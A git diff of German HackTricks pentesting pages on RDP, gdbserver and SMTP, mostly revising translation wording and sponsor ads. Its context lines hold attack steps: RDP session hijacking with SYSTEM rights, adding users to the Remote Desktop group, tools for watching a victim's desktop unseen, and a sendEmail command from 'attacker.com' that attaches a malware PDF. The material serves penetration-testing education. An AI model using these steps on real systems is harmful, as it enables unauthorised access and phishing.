**Sofort verfügbarer Aufbau für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, dein Netzwerk und die Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,31 @@
|
|||
# 3389 - Pentesting RDP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Aufbau für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Einrichtung ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch seine Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
|
||||
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Kontrolle und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
|
||||
|
||||
**Standardport:** 3389
|
||||
```
|
||||
|
@ -70,7 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die es Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -80,7 +84,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
|
||||
Mit **SYSTEM-Berechtigungen** können Sie auf jede **geöffnete RDP-Sitzung eines beliebigen Benutzers** zugreifen, ohne das Passwort des Eigentümers zu kennen.
|
||||
|
||||
**Geöffnete Sitzungen abrufen:**
|
||||
**Erhalten Sie geöffnete Sitzungen:**
|
||||
```
|
||||
query user
|
||||
```
|
||||
|
@ -92,7 +96,7 @@ Jetzt sind Sie in der ausgewählten RDP-Sitzung und Sie werden einen Benutzer nu
|
|||
|
||||
**Wichtig**: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.
|
||||
|
||||
Sie könnten Passwörter durch das Dumpen des Prozesses erhalten, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad, ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind...)
|
||||
Sie könnten Passwörter durch das Dumpen des Prozesses erhalten, aber diese Methode ist viel schneller und ermöglicht Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad, ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -123,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind.
|
||||
**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Abruf zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Steuere Maus und Tastatur automatisiert über die Befehlszeile
|
||||
|
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,15 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Grundinformationen**
|
||||
|
||||
**gdbserver** ist ein Tool, das das Debuggen von Programmen aus der Ferne ermöglicht. Es läuft neben dem Programm, das debuggt werden muss, auf demselben System, bekannt als das "Ziel". Dieses Setup ermöglicht es dem **GNU Debugger**, von einem anderen Computer, dem "Host", zu verbinden, wo der Quellcode und eine binäre Kopie des debugged Programms gespeichert sind. Die Verbindung zwischen **gdbserver** und dem Debugger kann über TCP oder eine serielle Leitung hergestellt werden, was vielseitige Debugging-Setups ermöglicht.
|
||||
**gdbserver** ist ein Tool, das das Debuggen von Programmen aus der Ferne ermöglicht. Es läuft neben dem Programm, das debuggt werden muss, auf demselben System, bekannt als das "Ziel". Diese Konfiguration ermöglicht es dem **GNU Debugger**, von einem anderen Computer, dem "Host", zu verbinden, wo der Quellcode und eine binäre Kopie des debugged Programms gespeichert sind. Die Verbindung zwischen **gdbserver** und dem Debugger kann über TCP oder eine serielle Leitung hergestellt werden, was vielseitige Debugging-Setups ermöglicht.
|
||||
|
||||
Sie können einen **gdbserver auf jedem Port lauschen lassen** und im Moment **kann nmap den Dienst nicht erkennen**.
|
||||
|
||||
|
@ -198,7 +200,9 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,9 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte umwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -169,17 +171,19 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## DSN-Berichte
|
||||
|
||||
**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antivirensoftware).
|
||||
**Lieferstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurück an Sie** sendet. **Header** der zurückgesendeten E-Mail werden **mögliche** **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antivirensoftware).
|
||||
|
||||
## [Befehle](smtp-commands.md)
|
||||
|
||||
### Senden einer E-Mail von der Linux-Konsole
|
||||
### Eine E-Mail von der Linux-Konsole senden
|
||||
```bash
|
||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
|
@ -244,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
|
||||
## SMTP Smuggling
|
||||
|
||||
Die SMTP Smuggling-Schwachstelle ermöglichte es, alle SMTP-Schutzmaßnahmen zu umgehen (siehe den nächsten Abschnitt für weitere Informationen zu den Schutzmaßnahmen). Für weitere Informationen zu SMTP Smuggling siehe:
|
||||
Die SMTP Smuggling-Sicherheitsanfälligkeit ermöglichte es, alle SMTP-Schutzmaßnahmen zu umgehen (siehe den nächsten Abschnitt für weitere Informationen zu den Schutzmaßnahmen). Für weitere Informationen zu SMTP Smuggling siehe:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
|
@ -263,7 +267,7 @@ SPF [wurde 2014 "veraltet"](https://aws.amazon.com/premiumsupport/knowledge-cent
|
|||
Darüber hinaus ist es recht üblich, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden.
|
||||
{% endhint %}
|
||||
|
||||
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/-bereiche, Domains und andere Entitäten **enthält, die autorisiert sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz.
|
||||
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/-Bereiche, Domains und andere Entitäten **auflistet, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, enthält verschiedene "**Mechanismen**" im SPF-Datensatz.
|
||||
|
||||
#### Mechanismen
|
||||
|
||||
|
@ -272,14 +276,14 @@ Von [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
|||
| Mechanismus | Beschreibung |
|
||||
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. |
|
||||
| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. |
|
||||
| IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt er. |
|
||||
| IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt er. |
|
||||
| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. |
|
||||
| IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt er. |
|
||||
| IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt er. |
|
||||
| MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mailserver der Domain). |
|
||||
| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients im angegebenen Domainnamen ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte umgekehrte DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. |
|
||||
| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
|
||||
| INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain besteht, besteht dieser Mechanismus. Wenn die eingeschlossene Richtlinie jedoch fehlschlägt, wird die Verarbeitung fortgesetzt. Um vollständig an die Richtlinie einer anderen Domain zu delegieren, muss die Umleitungs-Erweiterung verwendet werden. |
|
||||
| REDIRECT | <p>Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Dies ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.</p><p>Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.</p> |
|
||||
| REDIRECT | <p>Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Sie ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.</p><p>Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.</p> |
|
||||
|
||||
Es ist auch möglich, **Qualifizierer** zu identifizieren, die **angeben, was zu tun ist, wenn ein Mechanismus übereinstimmt**. Standardmäßig wird der **Qualifizierer "+"** verwendet (wenn also ein Mechanismus übereinstimmt, bedeutet das, dass es erlaubt ist).\
|
||||
Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all** bemerken. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender nicht mit einer SPF-Richtlinie übereinstimmt, die E-Mail als untrusted (\~) oder abgelehnt (-) markiert werden sollte.**
|
||||
|
@ -288,8 +292,8 @@ Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** o
|
|||
|
||||
Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifizierer vorangestellt werden, um das beabsichtigte Ergebnis zu definieren:
|
||||
|
||||
* **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleichwertig zu `mx` ist.
|
||||
* **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE behandelt wird (keine spezifische Richtlinie).
|
||||
* **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig gehen Mechanismen von diesem Qualifizierer aus, sodass `+mx` gleichbedeutend mit `mx` ist.
|
||||
* **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird.
|
||||
* **`~`**: Bezeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden typischerweise akzeptiert, aber entsprechend markiert.
|
||||
* **`-`**: Gibt FAIL an und deutet darauf hin, dass die E-Mail vollständig abgelehnt werden sollte.
|
||||
|
||||
|
@ -312,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird eine **E-Mail**, die von einer **Domain ohne einen gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**.
|
||||
Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird **E-Mail**, die von einer **Domain ohne einen gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als untrusted markiert**.
|
||||
|
||||
Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden.
|
||||
|
||||
|
@ -330,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
|||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich der Vorgehensweise bei Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen.
|
||||
DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich der Handhabung von Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen.
|
||||
|
||||
**Um den DMARC-Eintrag zu erhalten, müssen Sie die Subdomain \_dmarc abfragen**
|
||||
```bash
|
||||
|
@ -352,26 +356,26 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | Protokollversion | v=DMARC1 |
|
||||
| pct | Prozentsatz der Nachrichten, die gefiltert werden | pct=20 |
|
||||
| ruf | Reporting-URI für forensische Berichte | ruf=mailto:authfail@example.com |
|
||||
| rua | Reporting-URI von aggregierten Berichten | rua=mailto:aggrep@example.com |
|
||||
| p | Richtlinie für die organisatorische Domain | p=quarantine |
|
||||
| sp | Richtlinie für Subdomains der OD | sp=reject |
|
||||
